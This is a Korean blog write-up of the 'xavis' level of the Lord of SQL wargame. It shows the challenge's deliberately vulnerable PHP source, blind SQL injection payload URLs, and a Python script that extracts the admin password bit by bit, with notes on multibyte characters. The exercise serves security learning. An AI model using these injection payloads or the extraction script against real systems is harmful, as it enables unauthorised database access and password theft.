LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.
이번 포스트는 nightmare에 이어 xavis 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.
xavis문제를 들어가기 전에 몬스터 이미지를 보아하니.... 큐베입니다. 꼬노야로.
부셔버리가써..
|
문제 이해 |
문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.
<?php include "./config.php"; login_chk(); dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysql_fetch_array(mysql_query($query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; $result = @mysql_fetch_array(mysql_query($query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); highlight_file(__FILE__); ?>
위의 문제에서는 먼저 pw에 값을 넣어야함을 알 수 있습니다.
필터링은 6번 라인에서 regex, like가 되어 있는 것을 볼 수 있습니다. 사실 regex는 한 번도 안 써봐서 왜 필터링을 수행했는지는 잘 모르겠습니다. ㅎㅎ....
또한 11번 라인에서는 addslashes라는 함수를 통해 입력한 값을 중간에 한 번 필터링을 걸어줍니다.
여기서는 Blind SQL Injection 기법을 통해 풀이를 진행해야 합니다.
이러한 이유는 15번 라인에서 답을 구할 수 있습니다.
먼저 2~10번 라인의 소스를 위쪽 PHP소스, 12~16번 라인까지의 소스를 아래쪽 PHP소스라고 표현하겠습니다.
위쪽 PHP 소스에서는 addslashes 함수를 거치지 않기 때문에 제대로 싱글쿼터, 더블쿼터 등의 문자를 삽입하여 SQL Injection을 수행할 수 있습니다. 그러나 아래쪽 PHP 소스에서는 addslashes 함수를 거치기 때문에 이러한 기법의 SQL Injection이 불가능합니다. 그리고 결정적으로 15번 라인에서 pw에 입력한 값과 query를 실행하여 돌아온 값이 일치해야 문제가 풀리도록 하였습니다.
즉 우리가 정확한 Password를 입력해야함을 말합니다...!!
그렇다면 SQL Injection 에서 우리가 얻을 수 있는 값은 무엇인가를 봐야 합니다.
딱히 리턴되어 돌아오는 값을 알 수 없습니다. 오직 참이냐 거짓이냐 혹은 값이 있냐 없냐만 알 수 있습니다!
따라서 참이냐 거짓이냐를 알 수 있다면 이는 Blind SQL Injection을 이용해야 함을 말합니다.
|
문제 풀이(쿼리) |
먼저 쿼리를 수동으로 설정하여 전송하는 방법으로 어떤 것이 가능한지 알아보도록 합시다.
|
비밀번호 길이 알아내기 |
먼저 우리는 table의 pw라는 컬럼을 알고 있습니다. 그렇다면 MySQL 함수인 length 함수를 이용하여 비밀번호의 길이를 알아낼 수 있습니다.
아주 간단하게 다음과 같이 쿼리를 날려주도록 합시다.
https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=%27%20or%20id=%27admin%27%20and%20length(pw)>0%23 |
위의 쿼리는 id가 admin이고, pw길이가 1보다 큰 값이 있는지 알아내기 위한 쿼리입니다.
이는 pw=' or id='admin' and length(pw)>0%23으로 작성하였습니다.
만약 위의 조건에 맞는 값이 있다면 값이 반환되어 $result에 들어갈 것이고, if($result['id'])가 참이기 때문에 Hello admin이라는 값이 나타날 것입니다.
pw 테이블의 길이를 알아내는 것은 어렵지 않아 보입니다. 적당한 비교 연산자를 통해 값을 알아낼 수 있습니다.
|
비밀번호 값 알아내기 |
각 한 글자를 비교하는 쿼리를 만들어보도록 합시다.
다음과 같은 쿼리를 통해 각 문자의 비트가 0인지 1인지 알 수 있습니다.
https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=%27%20or%20id=%27admin%27and%20substr(lpad(bin(ord(substr(pw,1,1))),8,0),1,1)=1%23 |
위의 쿼리는 다음과 같은 값이 들어가 있습니다.
pw=' or id='admin' and substr(lpad(bin(ord(substr(pw,1,1))),8,0),1,1)=1%23
단, 여기서 위와 같은 쿼리로 값을 뽑아낸다면 다음과 같은 값을 출력합니다.. ㅠㅠ
뱉어내는 값 : ÆÆ??
처음에는 제가 뭔가 잘못한 게 아닌가 하는 착각을 했습니다.
그러나 한국인이라면 Unicode 혹은 UTF-8을 잊으면 안 됩니다.
어쩌면 한 글자가 2바이트일 수 있다는 것을 간과해서는 안 됩니닷!!
|
문제 풀이(소스) |
import requests requests.packages.urllib3.disable_warnings() sess = requests.session() URL = 'https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=' headers = {'Cookie': 'PHPSESSID=r80hv0bdf5fppcg39ghfdo48l5'} # get length of column ============= passwordLen = 0 for i in range(1, 100): payload = "' or length(pw)=" + str(i) + " and id='admin" res = sess.get(url=URL+payload, headers=headers, verify=False) if 'Hello admin' in res.text: passwordLen = i break else: pass print('[=] Find Password Length : %d' % passwordLen) bitLen = 16 Password = '' for j in range(1, passwordLen+1): bit = '' for i in range(1, bitLen+1): payload = "' or id='admin' and substr(lpad(bin(ord(substr(pw,{},1))),{},0),{},1)=1%23".format(j, bitLen, i) res = sess.get(url=URL+payload, headers=headers, verify=False) if 'Hello admin' in res.text: # true!! bit += '1' else: # false!! bit += '0' Password += chr(int(bit, 2)) print('[=] Find Password(count %02d) : %s (bit : %s) (hex : %s)' % (j, chr(int(bit, 2)), bit, hex(int(bit, 2))[2:])) print('[=] Find Password : %s' % Password)
위의 소스코드는 python 3로 작성되었으며, requests 모듈을 따로 pip로 설치해주어야 합니다.
만약 pip 설치가 잘 안 되시는 분은 다음 링크를 참조해주시기 바랍니다.
python의 pip 명령이 들지 않을 때(python pip error)링크
또한 소스에서 Cookie 값은 자신의 쿠키 값으로 변경해서 사용해주시기 바랍니다.
Cookie 값은 [개발자모드(F12)->콘솔(Console)->document.cookie를 입력] 를 통해 알아낼 수도 있고, 주소 창에 javascript:alert(document.cookie)를 입력하는 방법으로 알아낼 수 있습니다.
'WARGAMES > LOS(rubiya)' 카테고리의 다른 글
[LOS - Lord Of SQL] Level 23 - hell_fire (0) | 2019.04.08 |
---|---|
[LOS - Lord Of SQL] Level 22 - dark_eyes (1) | 2019.04.08 |
[LOS - Lord Of SQL] Level 21 - iron_golem (2) | 2019.04.05 |
[LOS - Lord Of SQL] Level 20 - dragon (0) | 2019.04.05 |
[LOS - Lord Of SQL] Level 18 - nightmare (1) | 2019.04.04 |
[LOS - Lord Of SQL] Level 17 - succubus (0) | 2019.03.28 |
[LOS - Lord Of SQL] Level 16 - zombie_assassin (0) | 2019.03.28 |
[LOS - Lord Of SQL] Level 15 - assassin (0) | 2019.03.27 |